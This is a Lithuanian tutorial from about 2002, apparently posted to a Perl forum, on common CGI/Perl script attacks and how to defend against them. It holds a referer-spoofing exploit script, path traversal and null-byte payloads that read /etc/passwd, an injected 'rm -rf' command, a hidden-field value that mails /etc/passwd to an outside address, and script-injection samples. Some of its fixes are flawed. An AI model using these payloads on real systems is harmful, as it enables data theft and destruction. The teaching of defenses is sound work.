CGI ataka ir apsauga by mr2 [v2.0]

CGI ataka ir apsauga [v2.0]
by mr2

turinys

01 - intro
02 - HTTP_REFFER
03 - dot dot bugs
04 - poison null byte bug
05 - system ... fork ... exec ...
06 - HTML/Script
07 - aibendrinimas

text

01 - intro

sveiki PERL'o gerbejai ... myletojai ar tiesiog programuotojai !!! na labai malonu kad tokiu musu mylimoi Lietuvelei vis daugeja ... kalbu apie ne siaip imancius micro$oft "frontpage" ... "hotdog" ar dar koki "coffecup" (su keliais pasenusiais Matt Wright'o CGI/PERL pavyzdziais) ... imancius paveiksleli su kaukole ir darancius 'SuPeRdUpEr' puslapi ;) ... o apie mokancius ir darancius ...

siais informaciniu technologiju laikais web puslapiai tiesiog kepami desimtimis tukstanciu per diena ... ir tik nedaugelis ju turi pakankamas apsaugas nuo paprasciausiu cgi/perl skriptu ataku ... mane tiesiog erzina kvailas web dizaineriu poziuris i savo darba ... jiem atrodo kad geras puslapio dizainas su keleta i puslapi idetu 'navarotu' ... jau darbo pabaiga ... inete netgi esu mates puslapi su rubrika "cgi/perl hack of the mounth" ... taip ... taip ... deje tokios klaidos yra labai daznos ... todel butina tokias klaidas salinti is cgi/perl (php ... asp ir t.t.) skriptu ... kad netektu poto gailetis (kas anksciau ar veliau ir atsitinka su zmonemis rasanciais nesaugius skriptus ... o tokiu labai dauk ... patikekit manim) ... juk nera tai taip ir sunku ...

toliau isdestysiu keleta standartiniu cgi/perl klaidu kuriomis ir naudojasi 'piktieji' hacker'iai ... manot tai sunku ? ;) taigi kad ne !!! viskas ko jums prireiks tai jusu mylimo internet browser'io : IE ... Netscape ar kito ... beabejo tureti bent minimalius (unix ar win) PERL programavimo pagrindus ... bei (svarbiausia) galva ant peciu ;) ... na dar betkokia teksto redagavimo programa pvz: notepad ...


02 - HTTP_REFFER
ataka

atakos paskirtis - perduoti remote skriptui pakeista (kreiva) informacija

taigi ... randame web puslapiuka su kaskokiu jus dominanciu PERL skriptuku ir issaugom html'a pas save kompiuteryje ... tada paziurim pati html'a ir rade pvz :

<form method="POST" action="/cgi-bin/programa.pl">

pakeiciam i pvz :

<form method="POST" action="http://www.auka.lt/cgi-bin/programa.pl">

hmm ka mums tai duoda ? ogi tai kad dabar si html'a issaugoje pas save diske jus galite paleisti http://www.auka.lt/cgi-bin/programa.pl PERL programa is namu ir perduoti jai savus duomenis post metodu (get metodui uztenka url eilutes) ;) ... hmm kam tai ? ogi tam kad tame paciame html'e galima rasti pasleptu duomenu perduodamu paciam skriptui pvz :

<input type="hidden" name="meilas" size="20" value="webmaster@takas.lt">

ir kagi tai reiskia ? ... sis skriptas ivestus duomenis (greiciausiai) siuncia webmaster@takas.lt savininkui ... negi neidomu kas tame laiske rasoma ? ... taigi pakeiciam webmaster@takas.lt i pvz : mr2@xxx.lt ir isbandom ...

beabejo sis hack'as kaskokios dideles naudos neduos ... galu gale taip galima suzinot kokius duomenis apie tave renka adminas pvz : IP ... tai juk tik vienas (is daugeliu) sios atakos panaudojimo budas ... kad ir pvz: jej rastumem pvz : 'value="uzloginta.html"' ... hmm argi tai tik ne html'as rodomas i forma teisingai ivedus duomenis ? hmm kodelgi sito nepakeitus i pvz : 'value="/../../../etc/passwd"' a?

apsauga

nuo tokio tipo ataku labai paprasta ir butina apsisaugot ... tiesiog irasom sekancias eilutes i savo skriptuko pradzia:

if ($ENV{'HTTP_REFFER'} != m#^http://www.jusuhostas.lt/cgi-bin/programa.pl#){
print "content-type: text/html\n\n";
print "atsok hacker\'i OK"; }

kuris tikrina ar duomenys gauti per jusu URL ... BET TAI NERA 100% APSAUGA nes visa si tikrinima galima labai lengvai apeiti pvz su telnet'o pagalba ... (nuo wannabe JAPH apsaugo ;) )

kadangi tai varginanti procedura ... hackeriai yra pasirase ivairiu programu kurios tai atlieka automatiskai ...
cia ir idedu tokio tipo skripta (demonstruojanti galimus duomenu pakeitimus uzkausoje) parasyta perl'u:

#!/usr/bin/perl

use Socket; #naudojam socket biblioteka (detalesne informacija apie sia biblioteka CPAN'e)

$hostas='http://127.0.0.1'; #taikinys
$path='/cgi-bin/test.pl'; #kelias iki skripto
$portas=80; #portas (default 80)
$http_method='POST'; #duomenu siuntimo metodas
$http_protocol='HTTP/1.0'; #protokolas
$http_referer='http://127.0.0.1/test.pl'; #apgaulingas HTTP_REFERER
$http_user_agent='http_referer exploit in PERL by mr2'; #browserio tipas ;)
$http_content_type='application/x-www-form-urlencoded'; #duomenu enkodingas
$form_d='name=mr2&email=mr2@xxx.lt'; #POST metodu siunciama eilute
$form_d=~s/\,/\%2C/g; #keicaim kablelius i "%2C"
$form_d=~s/ /+/g; #keiciam tarpus i "+"
$length=length($form_d); #skaiciuojam eilutes ilgi (CONTENT_LENGTH)

#visa (serveriui) siunciama eilute

$duomenys="$http_method $path $http_protocol\r
Referer: $http_referer\r
User Agent: $http_user_agent\r
Content-type: $http_content_type\r
Content-length: $length\r
\r
$form_d\r
";

print "content-type: text/html\n\n"; #rezultatus rodysim browser'yje
&siusti; #issaukiam siuntimo sub'a
exit; #isejimas is programos

#toliau standartinis tcp soketo susijungimas su servu ...
#eilutes perdavimas ir servo atsakymo rodymas browser'yje ...

sub siusti {
$i_addr=inet_aton($hostas) || die 'nepavyko rasti host\'o !';
$p_addr=sockaddr_in($portas,$i_addr);
$proto=getprotobyname('tcp');
socket(SOCK,PF_INET,SOCK_STREAM,$proto) || die 'nepavyko sukurti socket\'o !';
connect(SOCK,$p_addr) || die 'nepavyko susijungti !';
send(SOCK,$duomenys,0);
while (<SOCK>) { print "$_"; }
close(SOCK);
}



03 - dot dot bugs
ataka

atakos paskirtis - naudojant ".." keliauti po serverio katalogus (perziurint paciu katalogu sudeti ar failu skaitymui)

na tai turbut labiausiai paplitus ataka nes sekmingai ja pasinaudojus is serverio galima isgauti /etc/passwd ar betkoki kita hackeriui idomu faila ...

ji vykdoma per URL eilute ... ivedant ne normaliai pvz:

http://www.auka.lt/cgi-bin/get.pl?rodyt=nuorodos.html

kad skriptas i browser'i isvestu ne nuorodos.html turini o pvz:

http://www.auka.lt/cgi-bin/get.pl?rodyt=../../../etc/passwd

si problema iskyla tada kai jums reikia html'e nurodyti ka rodyti po kaskokio veiksmo (koki puslapi ar panasiai) pvz:

open(F,"</home/remote/mr2/public_html/$input");
@visas=<F>;
close(F);
print "Content-Type: text/html\n\n";
foreach $eilute (@visas) {
print $eilute;
}
close(F);

siuo atveju ".." pagalba galima nukeliauti i zemesnius katalogus ir is ten i browseri isvedamas nurodyto failo turinys (tiek kiek leidzia juzerio id) ...

tokiu paciu principu galima pasinaudoti ir skriptais irasanciais i failus esancius serveryje ... pakeisti kaskokius duomenis ... ar paprasciausiai deface'int index.html ...

apsauga

nuo sios atakos yra keleta apsisaugojimo budu ... pvz:

(populiariausias) ".." salinimas:

$direktorija =~ s#\.\.##g;

arba pvz: vietoje

http://www.auka.lt/cgi-bin/get.pl?rodyt=nuorodos.html

naudoti pvz:

http://www.auka.lt/cgi-bin/get.pl?siust=01

kur gavus toki URL ... rodyti faila pagal (kokiametai) failu saraselyje nurodytus failu numerius (01) ... direktorijas ... zodziu neleisti i URL ivedinet tiesaus adreso i failus ...

dar kitas budas: uzdrausti siust failus neesancius pagrindiniame kataloge pvz:

if ($direktorija ne /^$root_directory/) { print "atsok hacker\'i OK"; }

bet sis budas gan retai naudojamas (nes kartais ji imanoma apeiti)


04 - poison null byte bug
ataka

Olaf Kirch atrastas bug'as ... viena is originalesniu ataku ... leidzianti "nukirpti primetama galune"

manau jus tikrai esat mate web skriptu atrodanciu pvz:

http://www.auka.lt/cgi-bin/programa.pl?rodyt=nuorodos

ir paleidus si skripta jis i jusu browser'i tiesog isveda (musu atveju) pvz : nuorodos.html ... o pats skriptas atrodo pvz:

$html_pav="$ivesta\.html";
open(F,"<$html_pav");
@visas=<F>;
close(F);
print "Content-Type: text/html\n\n";
foreach $eilute (@visas) {
print $eilute;
}
close(F);

na ka cia galima nu'hack'int pasakysit jus ... juk cia imamas ivestas html'o pavadinimas ... prie jo galo pridedami ".html" ir html'as parodomas jusu browser'yje ...

bet kas butu jei ($ivesta) ivestumem pvz : "/etc/passwd%00nuorodos" ?

$html_pav="$ivesta\.html"; # dabar $html_pav='/etc/passwd%00nuorodos.html'
open(FILE "<$html_pav"); # atidarineja $html_pav

atidarineja $html_pav ne kaip '/etc/passwd%00nuorodos.html' kas teoriskai ir turetu ivykti ... o '/etc/passwd' nes perl'as %00 ('\0'==%00) supranta kaip ivestos eilutes pabaiga ;) (beje tai ne vienintelis null byte atakos budas)

apsauga

apsauga beabejo nuo to egzistuoja ... ir ji skamba labai paprastai : istrinam ivestuose duomenyse esancius "\0" (null baitus) :

$ivesta=~s/\0//g;



05 - system ... fork ... exec ...
ataka

geriau zinantiems PERL ... nesvetimos : system fork exec funkcijos ... kuriu neteisingas panaudojimas taipat gali pridaryt nemalonumu pvz:

 

system ("grep $paieskomas_zodis duomenys.log > gauta.log");

eilute turetu ieskoti zodzio ($paieskomas_zodis) duomenys.log faile ir gautus rezultatus issaugoti gauta.log faile ... ir jei $paieskomas_zodis ivedamas html'o formoje ... kodelgi cOOl hacker'iui neivedus pvz: 'cd /; rm -rf *.*" kad dabar is eiles butu vykdomos komandos: grep; cd /; rm -rf *.* data.txt > results.txt

kitas pavizdys arba kaip gauti passwd el.pasto pagalba ... jei turim pvz:

<input type="hidden" name="email" value="lama@centras.lt">

o pats @mail'as issiunciamas pvz:

system("/usr/lib/sendmail -t $email < $file");

tada pakeiciam anksciau mineta eilute i:

<input type="hidden" name="email" value="lama@centras.lt;mail mr2@xxx.lt </etc/passwd">

ir kaip jus manot koki el. laiska turetumet gauti po sekmingai paleisto skripto ?

apsauga

apsisaugot galima keliais budais (todel man ir patinka PERL ...) pvz : uzdraudziam $paieskomas_zodis ivedinet nereikalingus simbolius:

$paieskomas_zodis =~ tr/0-9a-z_A-Z\///cd;

arba pakeinciam pradine eilute i:

system ("grep","$paieskomas_zodis","duomenys.log","> gauta.log");

dabar $paieskomas_zodis bus suprantamas kaip grep kintamasis ...

arba isvis 'system("/usr/lib/sendmail...' keiciam i paprastesni (ir saugesni) skripta :

 

open(MAIL, "|/usr/lib/sendmail -t");
print MAIL "To: $adresas\n";



06 - HTML/Script
ataka

tiek Lietuvoje ... tiek kitur ispopuliarejes atakos metodas ... nes yra labai paprastas ... ir kaip bebutu keista daznai suveikiantis neziurint i tai kad nuo jo labai paprasta apsisaugot ... (apie tai veliau)

tau tiesiog tereikia bentkiek moketi HTML ar Script (java,vbscript) ... uzeini i skyreli "sveciu knyga" ir vietoi "geras puslapis ... sveikinu tu katik laimejai maikute ... gali jos nenusirenkti ;)" irasom HTML'o tegus arba skripta pvz:

<script language="javascript">alert("nu ir lama adminas ...");</script>

ir ka ? uzeinam i ta pacia "sveciu knyga" ir paziurim kas daros ... ogi issoksta lentele su uzrasu 'nu ir lama adminas ...'

tokiu budu i "sveciu knyga" galima idet pvz : java skripta ... vb skripta ... java applet'a ar tiesiog '<IMG ...' su nuoroda i nebloga paveiksleli ... (xxx ar besikraunanti puse dienos ...) ar dar kaip pavizdi : java skripta atidarinejanti 1000 saves is kuriu kiekvienas atidarineja dar po 1000 ...

ir jei serverio administratorius neuzdraudzia HTML bei skriptu rasymo ... pats kaltas jei isskris is darbo ... sefui pamacius kas daros su jo firmos puslapiu ...

apsauga

paprasciausias apsisaugojimo budas - "<" ir ">" keitimas i "&lt;" ir "&gt;"

$ivesta =~ s/</&lt;/g;
$ivesta =~ s/>/&gt;/g;

galimi ir kiti budai:

$ivesta =~ s/< *IMG^&gt;+>//ig; # istrina '<img ... >'
$ivesta =~ s/<!--#^&gt;+>//g; # istrina '<!--# ... >'
$ivesta =~ s/< *((SCRIPT) | (APPLET) | (EMBED)) ^&gt;+>//ig; # istrina '<script ... >','<applet ... >','<embed ... >'


bet ju neverta naudoti nes anksciau minetas "<" ir ">" keitimas i "&lt;" ir "&gt;" viska sutvarko ...


07 - aibendrinimas

beabejo tai ne vieninteliai cgi/perl skriptu atakos budai ..

svarbiausia atsiminti kad jusu skripto saugumas priklauso tik nuo jusu ir kuo maziau informacijos apie skripto veikima paliksit viesai prieinamose vietose ... tuo sis skriptas bus sunkiau iveikiamas ar net neiveikiamas ;) ...

parase skripta neskubekit tuojau det i savo url ... isbandykit ji !!! ...

parsisiunte nemokama skripta pvz : cc_val.pl ... pervadinkit ji !!! pvz : cc.pl ... nes tiems kas nesupranta to svarbos ir rasomi cgi checker'iai iekantys skriptu su tamtikrais pavadinimais ... isanksto zinant situ skriptu skyles ...

is ivestu duomenu

s/([\&;\`'\\\|"*?~<>^\(\)\\\{\}\$\n\r])/\\$1/g;

komanda pasalinkit visus pavojingiausius simbolius &;`'\"|*?~<>^()[]{}$\n\r

kad apsisaugot nuo visokiu "../../etc/passwd" pasalinkit ".." (s/\.\.//g;) ir pasaulyje liks maziau bug'ovu skriptu (gerai as cia pasakiau ;) ) ...

be viso sito ... kartais butinas ir $ENV{'REQUEST_METHOD'} tikrinimas:

if ($ENV{'REQUEST_METHOD'} ne "POST") { ... }

tikiuosi sio-to ismokot protingieji (ne ... ne kurmiai ;) ) perl'o megejai ... na o jei ne ... (ka padarysi ... buna) RTFM ... nes anksciau ar veliau ... del jusu skriptu skyliu turesit didesniu ar mazesniu problemu ;)

comments r wellcome : by e-mail -> mr2@xxx.lt <- or on irc -> /server irc.delfi.lt:6667 /join #Perl


Copyright by mr2 2001-2002.

Edited: ~Wed Jul 3 17:06:51 2002 (GMT), by footpad:
Modified title, removed extraneous HTML from document, and shortened width for printing.

Comment on (lang: lt) CGI/Perl Script Security